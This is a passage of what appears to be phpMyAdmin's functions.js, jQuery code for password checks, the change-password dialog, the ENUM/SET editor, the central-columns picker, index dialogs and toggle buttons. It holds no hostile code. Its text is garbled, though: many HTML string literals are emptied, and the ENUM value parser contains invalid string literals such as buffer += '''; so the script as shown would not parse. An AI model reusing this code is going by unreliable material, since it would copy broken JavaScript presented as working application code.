submitChangesInCreateTableForm('submit_partition_change=1'); } else { $form.trigger('submit'); } }); $(document).on('change', 'input[value=AUTO_INCREMENT]', function () { if (this.checked) { var col = /\d/.exec($(this).attr('name')); col = col[0]; var $selectFieldKey = $('select[name="field_key[' + col + ']"]'); if ($selectFieldKey.val() === 'none_' + col) { $selectFieldKey.val('primary_' + col).trigger('change', [false]); } } }); $('body').off('click', 'input.preview_sql').on('click', 'input.preview_sql', function () { var $form = $(this).closest('form'); Functions.previewSql($form); }); }); /** * Validates the password field in a form * * @see Messages.strPasswordEmpty * @see Messages.strPasswordNotSame * @param {object} $theForm The form to be validated * @return {boolean} */ Functions.checkPassword = function ($theForm) { // Did the user select 'no password'? if ($theForm.find('#nopass_1').is(':checked')) { return true; } else { var $pred = $theForm.find('#select_pred_password'); if ($pred.length && ($pred.val() === 'none' || $pred.val() === 'keep')) { return true; } } var $password = $theForm.find('input[name=pma_pw]'); var $passwordRepeat = $theForm.find('input[name=pma_pw2]'); var alertMessage = false; if ($password.val() === '') { alertMessage = Messages.strPasswordEmpty; } else if ($password.val() !== $passwordRepeat.val()) { alertMessage = Messages.strPasswordNotSame; } if (alertMessage) { alert(alertMessage); $password.val(''); $passwordRepeat.val(''); $password.trigger('focus'); return false; } return true; }; /** * Attach Ajax event handlers for 'Change Password' on index.php */ AJAX.registerOnload('functions.js', function () { /* Handler for hostname type */ $(document).on('change', '#select_pred_hostname', function () { var hostname = $('#pma_hostname'); if (this.value === 'any') { hostname.val('%'); } else if (this.value === 'localhost') { hostname.val('localhost'); } else if (this.value === 'thishost' && $(this).data('thishost')) { hostname.val($(this).data('thishost')); } else if (this.value === 'hosttable') { hostname.val('').prop('required', false); } else if (this.value === 'userdefined') { hostname.trigger('focus').select().prop('required', true); } }); /* Handler for editing hostname */ $(document).on('change', '#pma_hostname', function () { $('#select_pred_hostname').val('userdefined'); $('#pma_hostname').prop('required', true); }); /* Handler for username type */ $(document).on('change', '#select_pred_username', function () { if (this.value === 'any') { $('#pma_username').val('').prop('required', false); $('#user_exists_warning').css('display', 'none'); } else if (this.value === 'userdefined') { $('#pma_username').trigger('focus').trigger('select').prop('required', true); } }); /* Handler for editing username */ $(document).on('change', '#pma_username', function () { $('#select_pred_username').val('userdefined'); $('#pma_username').prop('required', true); }); /* Handler for password type */ $(document).on('change', '#select_pred_password', function () { if (this.value === 'none') { $('#text_pma_pw2').prop('required', false).val(''); $('#text_pma_pw').prop('required', false).val(''); } else if (this.value === 'userdefined') { $('#text_pma_pw2').prop('required', true); $('#text_pma_pw').prop('required', true).trigger('focus').trigger('select'); } else { $('#text_pma_pw2').prop('required', false); $('#text_pma_pw').prop('required', false); } }); /* Handler for editing password */ $(document).on('change', '#text_pma_pw,#text_pma_pw2', function () { $('#select_pred_password').val('userdefined'); $('#text_pma_pw2').prop('required', true); $('#text_pma_pw').prop('required', true); }); /** * Unbind all event handlers before tearing down a page */ $(document).off('click', '#change_password_anchor.ajax'); /** * Attach Ajax event handler on the change password anchor */ $(document).on('click', '#change_password_anchor.ajax', function (event) { event.preventDefault(); var $msgbox = Functions.ajaxShowMessage(); /** * @var buttonOptions Object containing options to be passed to jQueryUI's dialog */ var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, 'class': 'btn btn-primary' }, [Messages.strCancel]: { text: Messages.strCancel, 'class': 'btn btn-secondary' } }; buttonOptions[Messages.strGo].click = function () { event.preventDefault(); /** * @var $the_form Object referring to the change password form */ var $theForm = $('#change_password_form'); if (!Functions.checkPassword($theForm)) { return false; } /** * @var {string} thisValue String containing the value of the submit button. * Need to append this for the change password form on Server Privileges * page to work */ var thisValue = $(this).val(); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $theForm.append(''); $.post($theForm.attr('action'), $theForm.serialize() + CommonParams.get('arg_separator') + 'change_pw=' + thisValue, function (data) { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false); return; } var $pageContent = $('#page_content'); $pageContent.prepend(data.message); Functions.highlightSql($pageContent); $('#change_password_dialog').hide().remove(); $('#edit_user_dialog').dialog('close').remove(); Functions.ajaxRemoveMessage($msgbox); }); // end $.post() }; buttonOptions[Messages.strCancel].click = function () { $(this).dialog('close'); }; $.get($(this).attr('href'), { 'ajax_request': true }, function (data) { if (typeof data === 'undefined' || !data.success) { Functions.ajaxShowMessage(data.error, false); return; } if (data.scripts) { AJAX.scriptHandler.load(data.scripts); } $('
    ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strChangePassword, width: 600, close: function () { $(this).remove(); }, buttons: buttonOptions, modal: true }).append(data.message); // for this dialog, we remove the fieldset wrapping due to double headings $('fieldset#fieldset_change_password').find('legend').remove().end().find('table.table').unwrap().addClass('m-3').find('input#text_pma_pw').trigger('focus'); $('#fieldset_change_password_footer').hide(); Functions.ajaxRemoveMessage($msgbox); Functions.displayPasswordGenerateButton(); $('#change_password_form').on('submit', function (e) { e.preventDefault(); $(this).closest('.ui-dialog').find('.ui-dialog-buttonpane .ui-button').first().trigger('click'); }); }); // end $.get() }); // end handler for change password anchor }); // end $() for Change Password /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', 'select.column_type'); $(document).off('change', 'select.default_type'); $(document).off('change', 'select.virtuality'); $(document).off('change', 'input.allow_null'); $(document).off('change', '.create_table_form select[name=tbl_storage_engine]'); }); /** * Toggle the hiding/showing of the "Open in ENUM/SET editor" message when * the page loads and when the selected data type changes */ AJAX.registerOnload('functions.js', function () { // is called here for normal page loads and also when opening // the Create table dialog Functions.verifyColumnsProperties(); // // needs on() to work also in the Create Table dialog $(document).on('change', 'select.column_type', function () { Functions.showNoticeForEnum($(this)); Functions.showWarningForIntTypes(); }); $(document).on('change', 'select.default_type', function () { Functions.hideShowDefaultValue($(this)); }); $(document).on('change', 'select.virtuality', function () { Functions.hideShowExpression($(this)); }); $(document).on('change', 'input.allow_null', function () { Functions.validateDefaultValue($(this)); }); $(document).on('change', '.create_table_form select[name=tbl_storage_engine]', function () { Functions.hideShowConnection($(this)); }); }); /** * If the chosen storage engine is FEDERATED show connection field. Hide otherwise * * @param $engineSelector storage engine selector */ Functions.hideShowConnection = function ($engineSelector) { var $connection = $('.create_table_form input[name=connection]'); var $labelTh = $('.create_table_form #storage-engine-connection'); if ($engineSelector.val() !== 'FEDERATED') { $connection.prop('disabled', true).parent('td').hide(); $labelTh.hide(); } else { $connection.prop('disabled', false).parent('td').show(); $labelTh.show(); } }; /** * If the column does not allow NULL values, makes sure that default is not NULL * * @param $nullCheckbox */ Functions.validateDefaultValue = function ($nullCheckbox) { if (!$nullCheckbox.prop('checked')) { var $default = $nullCheckbox.closest('tr').find('.default_type'); if ($default.val() === 'NULL') { $default.val('NONE'); } } }; /** * function to populate the input fields on picking a column from central list * * @param {string} inputId input id of the name field for the column to be populated * @param {number} offset of the selected column in central list of columns */ Functions.autoPopulate = function (inputId, offset) { var db = CommonParams.get('db'); var table = CommonParams.get('table'); var newInputId = inputId.substring(0, inputId.length - 1); $('#' + newInputId + '1').val(centralColumnList[db + '_' + table][offset].col_name); var colType = centralColumnList[db + '_' + table][offset].col_type.toUpperCase(); $('#' + newInputId + '2').val(colType); var $input3 = $('#' + newInputId + '3'); $input3.val(centralColumnList[db + '_' + table][offset].col_length); if (colType === 'ENUM' || colType === 'SET') { $input3.next().show(); } else { $input3.next().hide(); } var colDefault = centralColumnList[db + '_' + table][offset].col_default.toUpperCase(); var $input4 = $('#' + newInputId + '4'); if (colDefault === 'NULL' || colDefault === 'CURRENT_TIMESTAMP' || colDefault === 'CURRENT_TIMESTAMP()') { if (colDefault === 'CURRENT_TIMESTAMP()') { colDefault = 'CURRENT_TIMESTAMP'; } $input4.val(colDefault); $input4.siblings('.default_value').hide(); } if (colDefault === '') { $input4.val('NONE'); $input4.siblings('.default_value').hide(); } else { $input4.val('USER_DEFINED'); $input4.siblings('.default_value').show(); $input4.siblings('.default_value').val(centralColumnList[db + '_' + table][offset].col_default); } $('#' + newInputId + '5').val(centralColumnList[db + '_' + table][offset].col_collation); var $input6 = $('#' + newInputId + '6'); $input6.val(centralColumnList[db + '_' + table][offset].col_attribute); if (centralColumnList[db + '_' + table][offset].col_extra === 'on update CURRENT_TIMESTAMP') { $input6.val(centralColumnList[db + '_' + table][offset].col_extra); } if (centralColumnList[db + '_' + table][offset].col_extra.toUpperCase() === 'AUTO_INCREMENT') { $('#' + newInputId + '9').prop('checked', true).trigger('change'); } else { $('#' + newInputId + '9').prop('checked', false); } if (centralColumnList[db + '_' + table][offset].col_isNull !== '0') { $('#' + newInputId + '7').prop('checked', true); } else { $('#' + newInputId + '7').prop('checked', false); } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'a.open_enum_editor'); $(document).off('click', 'input.add_value'); $(document).off('click', '#enum_editor td.drop'); $(document).off('click', 'a.central_columns_dialog'); }); /** * Opens the ENUM/SET editor and controls its functions */ AJAX.registerOnload('functions.js', function () { $(document).on('click', 'a.open_enum_editor', function () { // Get the name of the column that is being edited var colname = $(this).closest('tr').find('input').first().val(); var title; var i; // And use it to make up a title for the page if (colname.length < 1) { title = Messages.enum_newColumnVals; } else { title = Messages.enum_columnVals.replace(/%s/, '"' + Functions.escapeHtml(decodeURIComponent(colname)) + '"'); } // Get the values as a string var inputstring = $(this).closest('td').find('input').val(); // Escape html entities inputstring = $('
    ').text(inputstring).html(); // Parse the values, escaping quotes and // slashes on the fly, into an array var values = []; var inString = false; var curr; var next; var buffer = ''; for (i = 0; i < inputstring.length; i++) { curr = inputstring.charAt(i); next = i === inputstring.length ? '' : inputstring.charAt(i + 1); if (!inString && curr === '\'') { inString = true; } else if (inString && curr === '\\' && next === '\\') { buffer += '\'; i++; } else if (inString && next === '\'' && (curr === '\'' || curr === '\\')) { buffer += '''; i++; } else if (inString && curr === '\'') { inString = false; values.push(buffer); buffer = ''; } else if (inString) { buffer += curr; } } if (buffer.length > 0) { // The leftovers in the buffer are the last value (if any) values.push(buffer); } var fields = ''; // If there are no values, maybe the user is about to make a // new list so we add a few for them to get started with. if (values.length === 0) { values.push('', '', '', ''); } // Add the parsed values to the editor var dropIcon = Functions.getImage('b_drop'); for (i = 0; i < values.length; i++) { fields += '' + '' + '' + dropIcon + ''; } /** * @var dialog HTML code for the ENUM/SET dialog */ var dialog = '
    ' + '
    ' + '' + title + '' + '

    ' + Functions.getImage('s_notice') + Messages.enum_hint + '

    ' + '' + fields + '
    ' + '
    ' + '
    ' + '
    ' + '
    ' + '
    ' + '
    ' + '' + '
    ' + '
    '; $('#enumEditorGoButton').on('click', function () { // When the submit button is clicked, // put the data back into the original form var valueArray = []; $('#enumEditorModal').find('.values input').each(function (index, elm) { var val = elm.value.replace(/\\/g, '\\\\').replace(/'/g, '\'\''); valueArray.push('\'' + val + '\''); }); // get the Length/Values text field where this value belongs var valuesId = $('#enumEditorModal').find('input[type=\'hidden\']').val(); $('input#' + valuesId).val(valueArray.join(',')); }); // Show the dialog var width = parseInt(parseInt($('html').css('font-size'), 10) / 13 * 340, 10); if (!width) { width = 340; } $('#enumEditorModal').modal('show'); $('#enumEditorModal').find('.modal-body').first().html(dialog); // slider for choosing how many fields to add $('#enumEditorModal').find('.slider').slider({ animate: true, range: 'min', value: 1, min: 1, max: 9, slide: function (event, ui) { $(this).closest('table').find('input[type=submit]').val(Functions.sprintf(Messages.enum_addValue, ui.value)); } }); // Focus the slider, otherwise it looks nearly transparent $('a.ui-slider-handle').addClass('ui-state-focus'); return false; }); $(document).on('click', 'a.central_columns_dialog', function () { var href = 'index.php?route=/database/central-columns'; var db = CommonParams.get('db'); var table = CommonParams.get('table'); var maxRows = $(this).data('maxrows'); var pick = $(this).data('pick'); if (pick !== false) { pick = true; } var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'cur_table': CommonParams.get('table'), 'getColumnList': true }; var colid = $(this).closest('td').find('input').attr('id'); var fields = ''; if (!(db + '_' + table in centralColumnList)) { centralColumnList.push(db + '_' + table); $.ajax({ type: 'POST', url: href, data: params, success: function (data) { centralColumnList[db + '_' + table] = data.message; }, async: false }); } var i = 0; var listSize = centralColumnList[db + '_' + table].length; var min = listSize <= maxRows ? listSize : maxRows; for (i = 0; i < min; i++) { fields += '
    ' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_name) + '
    ' + centralColumnList[db + '_' + table][i].col_type; if (centralColumnList[db + '_' + table][i].col_attribute !== '') { fields += '(' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_attribute) + ') '; } if (centralColumnList[db + '_' + table][i].col_length !== '') { fields += '(' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_length) + ') '; } fields += Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_extra) + '' + '
    '; if (pick) { fields += ''; } fields += ''; } var resultPointer = i; var searchIn = ''; if (fields === '') { fields = Functions.sprintf(Messages.strEmptyCentralList, '\'' + Functions.escapeHtml(db) + '\''); searchIn = ''; } var seeMore = ''; if (listSize > maxRows) { seeMore = '
    ' + '' + Messages.seeMore + '
    '; } var centralColumnsDialog = '
    ' + '
    ' + searchIn + '' + fields + '
    ' + '
    ' + seeMore + '
    '; var width = parseInt(parseInt($('html').css('font-size'), 10) / 13 * 500, 10); if (!width) { width = 500; } var buttonOptions = {}; var $centralColumnsDialog = $(centralColumnsDialog).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, minWidth: width, maxHeight: 450, modal: true, title: Messages.pickColumnTitle, buttons: buttonOptions, open: function () { $('#col_list').on('click', '.pick', function () { $centralColumnsDialog.remove(); }); $('.filter_rows').on('keyup', function () { $.uiTableFilter($('#col_list'), $(this).val()); }); $('#seeMore').on('click', function () { fields = ''; min = listSize <= maxRows + resultPointer ? listSize : maxRows + resultPointer; for (i = resultPointer; i < min; i++) { fields += '
    ' + centralColumnList[db + '_' + table][i].col_name + '
    ' + centralColumnList[db + '_' + table][i].col_type; if (centralColumnList[db + '_' + table][i].col_attribute !== '') { fields += '(' + centralColumnList[db + '_' + table][i].col_attribute + ') '; } if (centralColumnList[db + '_' + table][i].col_length !== '') { fields += '(' + centralColumnList[db + '_' + table][i].col_length + ') '; } fields += centralColumnList[db + '_' + table][i].col_extra + '' + '
    '; if (pick) { fields += ''; } fields += ''; } $('#col_list').append(fields); resultPointer = i; if (resultPointer === listSize) { $('#seeMore').hide(); } return false; }); $(this).closest('.ui-dialog').find('.ui-dialog-buttonpane button').first().trigger('focus'); }, close: function () { $('#col_list').off('click', '.pick'); $('.filter_rows').off('keyup'); $(this).remove(); } }); return false; }); // $(document).on('click', 'a.show_central_list',function(e) { // }); // When "add a new value" is clicked, append an empty text field $(document).on('click', 'input.add_value', function (e) { e.preventDefault(); var numNewRows = $('#enumEditorModal').find('div.slider').slider('value'); while (numNewRows--) { $('#enumEditorModal').find('.values').append('' + '' + '' + Functions.getImage('b_drop') + '').find('tr').last().show('fast'); } }); // Removes the specified row from the enum editor $(document).on('click', '#enum_editor td.drop', function () { $(this).closest('tr').hide('fast', function () { $(this).remove(); }); }); }); /** * Ensures indexes names are valid according to their type and, for a primary * key, lock index name to 'PRIMARY' * @param {string} formId Variable which parses the form name as * the input * @return {boolean} false if there is no index form, true else */ Functions.checkIndexName = function (formId) { if ($('#' + formId).length === 0) { return false; } // Gets the elements pointers var $theIdxName = $('#input_index_name'); var $theIdxChoice = $('#select_index_choice'); // Index is a primary key if ($theIdxChoice.find('option:selected').val() === 'PRIMARY') { $theIdxName.val('PRIMARY'); $theIdxName.prop('disabled', true); } else { if ($theIdxName.val() === 'PRIMARY') { $theIdxName.val(''); } $theIdxName.prop('disabled', false); } return true; }; AJAX.registerTeardown('functions.js', function () { $(document).off('click', '#index_frm input[type=submit]'); }); AJAX.registerOnload('functions.js', function () { /** * Handler for adding more columns to an index in the editor */ $(document).on('click', '#index_frm input[type=submit]', function (event) { event.preventDefault(); var hadAddButtonHidden = $(this).closest('fieldset').find('.add_fields').hasClass('hide'); if (hadAddButtonHidden === false) { var rowsToAdd = $(this).closest('fieldset').find('.slider').slider('value'); var tempEmptyVal = function () { $(this).val(''); }; var tempSetFocus = function () { if ($(this).find('option:selected').val() === '') { return true; } $(this).closest('tr').find('input').trigger('focus'); }; while (rowsToAdd--) { var $indexColumns = $('#index_columns'); var $newrow = $indexColumns.find('tbody > tr').first().clone().appendTo($indexColumns.find('tbody')); $newrow.find(':input').each(tempEmptyVal); // focus index size input on column picked $newrow.find('select').on('change', tempSetFocus); } } }); }); Functions.indexDialogModal = function (routeUrl, url, title, callbackSuccess, callbackFailure) { /* Remove the hidden dialogs if there are*/ var modal = $('#indexDialogModal'); const indexDialogPreviewModal = document.getElementById('indexDialogPreviewModal'); indexDialogPreviewModal.addEventListener('shown.bs.modal', () => { const modalBody = indexDialogPreviewModal.querySelector('.modal-body'); const $form = $('#index_frm'); const formUrl = $form.attr('action'); const sep = CommonParams.get('arg_separator'); const formData = $form.serialize() + sep + 'do_save_data=1' + sep + 'preview_sql=1' + sep + 'ajax_request=1'; $.post({ url: formUrl, data: formData, success: response => { if (!response.success) { modalBody.innerHTML = ''; return; } modalBody.innerHTML = response.sql_data; Functions.highlightSql($('#indexDialogPreviewModal')); }, error: () => { modalBody.innerHTML = ''; } }); }); indexDialogPreviewModal.addEventListener('hidden.bs.modal', () => { indexDialogPreviewModal.querySelector('.modal-body').innerHTML = '
    ' + '' + Messages.strLoading + '
    '; }); // Remove previous click listeners from other modal openings (issue: #17892) $('#indexDialogModalGoButton').off('click'); $('#indexDialogModalGoButton').on('click', function () { /** * @var the_form object referring to the export form */ var $form = $('#index_frm'); Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); // User wants to submit the form $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { var $sqlqueryresults = $('.sqlqueryresults'); if ($sqlqueryresults.length !== 0) { $sqlqueryresults.remove(); } if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); Functions.highlightSql($('.result_query')); $('.result_query .alert').remove(); /* Reload the field form*/ $('#table_index').remove(); $('
    ').append(data.index_table).find('#table_index').insertAfter('#index_header'); var $editIndexDialog = $('#indexDialogModal'); if ($editIndexDialog.length > 0) { $editIndexDialog.modal('hide'); } $('div.no_indexes_defined').hide(); if (callbackSuccess) { callbackSuccess(data); } Navigation.reload(); } else { var $tempDiv = $('
    ').append(data.error); var $error; if ($tempDiv.find('.error code').length !== 0) { $error = $tempDiv.find('.error code').addClass('error'); } else { $error = $tempDiv; } if (callbackFailure) { callbackFailure(); } Functions.ajaxShowMessage($error, false); } }); // end $.post() }); var $msgbox = Functions.ajaxShowMessage(); $.post(routeUrl, url, function (data) { if (typeof data !== 'undefined' && data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); // Show dialog if the request was successful modal.modal('show'); modal.find('.modal-body').first().html(data.message); $('#indexDialogModalLabel').first().text(title); Functions.verifyColumnsProperties(); modal.find('.tblFooters').remove(); Functions.showIndexEditDialog(modal); } }); // end $.get() }; Functions.indexEditorDialog = function (url, title, callbackSuccess, callbackFailure) { Functions.indexDialogModal('index.php?route=/table/indexes', url, title, callbackSuccess, callbackFailure); }; Functions.indexRenameDialog = function (url, title, callbackSuccess, callbackFailure) { Functions.indexDialogModal('index.php?route=/table/indexes/rename', url, title, callbackSuccess, callbackFailure); }; Functions.showIndexEditDialog = function ($outer) { Indexes.checkIndexType(); Functions.checkIndexName('index_frm'); var $indexColumns = $('#index_columns'); $indexColumns.find('td').each(function () { $(this).css('width', $(this).width() + 'px'); }); $indexColumns.find('tbody').sortable({ axis: 'y', containment: $indexColumns.find('tbody'), tolerance: 'pointer' }); Functions.showHints($outer); // Add a slider for selecting how many columns to add to the index $outer.find('.slider').slider({ animate: true, value: 1, min: 1, max: 16, slide: function (event, ui) { $(this).closest('fieldset').find('input[type=submit]').val(Functions.sprintf(Messages.strAddToIndex, ui.value)); } }); $('div.add_fields').removeClass('hide'); // focus index size input on column picked $outer.find('table#index_columns select').on('change', function () { if ($(this).find('option:selected').val() === '') { return true; } $(this).closest('tr').find('input').trigger('focus'); }); // Focus the slider, otherwise it looks nearly transparent $('a.ui-slider-handle').addClass('ui-state-focus'); // set focus on index name input, if empty var input = $outer.find('input#input_index_name'); if (!input.val()) { input.trigger('focus'); } }; /** * Function to display tooltips that were * generated on the PHP side by PhpMyAdmin\Util::showHint() * * @param {object} $div a div jquery object which specifies the * domain for searching for tooltips. If we * omit this parameter the function searches * in the whole body **/ Functions.showHints = function ($div) { var $newDiv = $div; if ($newDiv === undefined || !($newDiv instanceof jQuery) || $newDiv.length === 0) { $newDiv = $('body'); } $newDiv.find('.pma_hint').each(function () { Functions.tooltip($(this).children('img'), 'img', $(this).children('span').html()); }); }; AJAX.registerOnload('functions.js', function () { Functions.showHints(); }); Functions.mainMenuResizerCallback = function () { // 5 px margin for jumping menu in Chrome // eslint-disable-next-line compat/compat return $(document.body).width() - 5; }; // This must be fired only once after the initial page load $(function () { // Initialise the menu resize plugin $('#topmenu').menuResizer(Functions.mainMenuResizerCallback); // register resize event $(window).on('resize', function () { $('#topmenu').menuResizer('resize'); }); }); /** * var toggleButton This is a function that creates a toggle * sliding button given a jQuery reference * to the correct DOM element * * @param $obj */ Functions.toggleButton = function ($obj) { // In rtl mode the toggle switch is flipped horizontally // so we need to take that into account var right; if ($('span.text_direction', $obj).text() === 'ltr') { right = 'right'; } else { right = 'left'; } /** * @var h Height of the button, used to scale the * background image and position the layers */ var h = $obj.height(); $('img', $obj).height(h); $('table', $obj).css('bottom', h - 1); /** * @var on Width of the "ON" part of the toggle switch * @var off Width of the "OFF" part of the toggle switch */ var on = $('td.toggleOn', $obj).width(); var off = $('td.toggleOff', $obj).width(); // Make the "ON" and "OFF" parts of the switch the same size // + 2 pixels to avoid overflowed $('td.toggleOn > div', $obj).width(Math.max(on, off) + 2); $('td.toggleOff > div', $obj).width(Math.max(on, off) + 2); /** * @var w Width of the central part of the switch */ var w = parseInt($('img', $obj).height() / 16 * 22, 10); // Resize the central part of the switch on the top // layer to match the background $($obj).find('table td').eq(1).children('div').width(w); /** * @var imgw Width of the background image * @var tblw Width of the foreground layer * @var offset By how many pixels to move the background * image, so that it matches the top layer */ var imgw = $('img', $obj).width(); var tblw = $('table', $obj).width(); var offset = parseInt((imgw - tblw) / 2, 10); // Move the background to match the layout of the top layer $obj.find('img').css(right, offset); /** * @var offw Outer width of the "ON" part of the toggle switch * @var btnw Outer width of the central part of the switch */ var offw = $('td.toggleOff', $obj).outerWidth(); var btnw = $($obj).find('table td').eq(1).outerWidth(); // Resize the main div so that exactly one side of // the switch plus the central part fit into it. $obj.width(offw + btnw + 2); /** * @var move How many pixels to move the * switch by when toggling */ var move = $('td.toggleOff', $obj).outerWidth(); // If the switch is initialized to the // OFF state we need to move it now. if ($('div.toggle-container', $obj).hasClass('off')) { if (right === 'right') { $('div.toggle-container', $obj).animate({ 'left': '-=' + move + 'px' }, 0); } else { $('div.toggle-container', $obj).animate({ 'left': '+=' + move + 'px' }, 0); } } // Attach an 'onclick' event to the switch $('div.toggle-container', $obj).on('click', function () { if ($(this).hasClass('isActive')) { return false; } else { $(this).addClass('isActive'); } var $msg = Functions.ajaxShowMessage(); var $container = $(this); var callback = $('span.callback', this).text(); var operator; var url; var removeClass; var addClass; // Perform the actual toggle if ($(this).hasClass('on')) { if (right === 'right') { operator = '-='; } else { operator = '+='; } url = $(this).find('td.toggleOff > span').text(); removeClass = 'on'; addClass = 'off'; } else { if (right === 'right') { operator = '+='; } else { operator = '-='; } url = $(this).find('td.toggleOn > span').text(); removeClass = 'off'; addClass = 'on'; } var parts = url.split('?'); $.post(parts[0], parts[1] + '&ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); $container.removeClass(removeClass).addClass(addClass).animate({ 'left': operator + move + 'px' }, function () { $container.removeClass('isActive'); }); // eslint-disable-next-line no-eval eval(callback); } else { Functions.ajaxShowMessage(data.error, false); $container.removeClass('isActive'); } }); }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $('div.toggle-container').off('click'); }); /** * Initialise all toggle buttons */ AJAX.registerOnload('functions.js', function () { $('div.toggleAjax').each(function () { var $button = $(this).show(); $button.find('img').each(function () { if (this.complete) { Functions.toggleButton($button); } else { $(this).on('load', function () { Functions.toggleButton($button); }); } }); }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', 'select.pageselector'); $('#update_recent_tables').off('ready'); $('#sync_favorite_tables').off('ready'); }); AJAX.registerOnload('functions.js', function () { /** * Autosubmit page selector */ $(document).on('change', 'select.pageselector', function (event) { event.stopPropagation(); // Check where to load the new content if ($(this).closest('#pma_navigation').length === 0) { // For the main page we don't need to do anything, $(this).closest('form').trigger('submit'); } else { // but for the navigation we need to manually replace the content Navigation.treePagination($(this)); } }); var $updateRecentTables = $('#update_recent_tables'); if ($updateRecentTables.length) { $.get($updateRecentTables.attr('href'), { 'no_debug': true }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#pma_recent_list').html(data.list); } }); } // Sync favorite tables from localStorage to pmadb. if ($('#sync_favorite_tables').length) { $.ajax({ url: $('#sync_favorite_tables').attr('href'), cache: false, type: 'POST', data: { 'favoriteTables': isStorageSupported('localStorage') && typeof window.localStorage.favoriteTables !== 'undefined' ? window.localStorage.favoriteTables : '', 'server': CommonParams.get('server'), 'no_debug': true }, success: function (data) { // Update localStorage. if (isStorageSupported('localStorage')) { window.localStorage.favoriteTables = data.favoriteTables; } $('#pma_favorite_list').html(data.list); } }); } }); // end of $() /** * Creates a message inside an object with a sliding effect * * @param {string} msg A string containing the text to display * @param {JQuery} $object a jQuery object containing the reference * to the element where to put the message * This is optional, if no element is * provided, one will be created below the * navigation links at the top of the page * * @return {boolean} True on success, false on failure */ Functions.slidingMessage = function (msg, $object) { var $obj = $object; if (msg === undefined || msg.length === 0) { // Don't show an empty message return false; } if ($obj === undefined || !($obj instanceof jQuery) || $obj.length === 0) { // If the second argument was not supplied, // we might have to create a new DOM node. if ($('#PMA_slidingMessage').length === 0) { $('#page_content').prepend(''); } $obj = $('#PMA_slidingMessage'); } if ($obj.has('div').length > 0) { // If there already is a message inside the // target object, we must get rid of it $obj.find('div').first().fadeOut(function () { $obj.children().remove(); $obj.append('
    ' + msg + '
    '); // highlight any sql before taking height; Functions.highlightSql($obj); $obj.find('div').first().hide(); $obj.animate({ height: $obj.find('div').first().height() }).find('div').first().fadeIn(); }); } else { // Object does not already have a message // inside it, so we simply slide it down $obj.width('100%').html('
    ' + msg + '
    '); // highlight any sql before taking height; Functions.highlightSql($obj); var h = $obj.find('div').first().hide().height(); $obj.find('div').first().css('height', 0).show().animate({ height: h }, function () { // Set the height of the parent // to the height of the child $obj.height($obj.find('div').first().height()); }); } return true; }; /** * Attach CodeMirror2 editor to SQL edit area. */ AJAX.registerOnload('functions.js', function () { var $elm = $('#sqlquery'); if ($elm.siblings().filter('.CodeMirror').length > 0) { return; } if ($elm.length > 0) { if (typeof CodeMirror !== 'undefined') { codeMirrorEditor = Functions.getSqlEditor($elm); codeMirrorEditor.focus(); codeMirrorEditor.on('blur', Functions.updateQueryParameters); } else { // without codemirror $elm.trigger('focus').on('blur', Functions.updateQueryParameters); } } Functions.highlightSql($('body')); }); AJAX.registerTeardown('functions.js', function () { if (codeMirrorEditor) { $('#sqlquery').text(codeMirrorEditor.getValue()); codeMirrorEditor.toTextArea(); codeMirrorEditor = false; } }); AJAX.registerOnload('functions.js', function () { // initializes all lock-page elements lock-id and // val-hash data property $('#page_content form.lock-page textarea, ' + '#page_content form.lock-page input[type="text"], ' + '#page_content form.lock-page input[type="number"], ' + '#page_content form.lock-page select').each(function (i) { $(this).data('lock-id', i); // val-hash is the hash of default value of the field // so that it can be compared with new value hash // to check whether field was modified or not. $(this).data('val-hash', AJAX.hash($(this).val())); }); // initializes lock-page elements (input types checkbox and radio buttons) // lock-id and val-hash data property $('#page_content form.lock-page input[type="checkbox"], ' + '#page_content form.lock-page input[type="radio"]').each(function (i) { $(this).data('lock-id', i); $(this).data('val-hash', AJAX.hash($(this).is(':checked'))); }); }); /** * jQuery plugin to correctly filter input fields by value, needed * because some nasty values may break selector syntax */ (function ($) { $.fn.filterByValue = function (value) { return this.filter(function () { return $(this).val() === value; }); }; })(jQuery); /** * Return value of a cell in a table. * * @param {string} td * @return {string} */ Functions.getCellValue = function (td) { var $td = $(td); if ($td.is('.null')) { return ''; } else if ((!$td.is('.to_be_saved') || $td.is('.set')) && $td.data('original_data')) { return $td.data('original_data'); } else { return $td.text(); } }; /** * Validate and return stringified JSON inputs, or plain if invalid. * * @param json the json input to be validated and stringified * @param replacer An array of strings and numbers that acts as an approved list for selecting the object properties that will be stringified. * @param space Adds indentation, white space, and line break characters to the return-value JSON text to make it easier to read. * @return {string} */ Functions.stringifyJSON = function (json) { let replacer = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; let space = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0; try { return JSON.stringify(JSON.parse(json), replacer, space); } catch (e) { return json; } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', '.autosubmit'); }); AJAX.registerOnload('functions.js', function () { /** * Automatic form submission on change. */ $(document).on('change', '.autosubmit', function () { $(this).closest('form').trigger('submit'); }); }); /** * @implements EventListener */ const 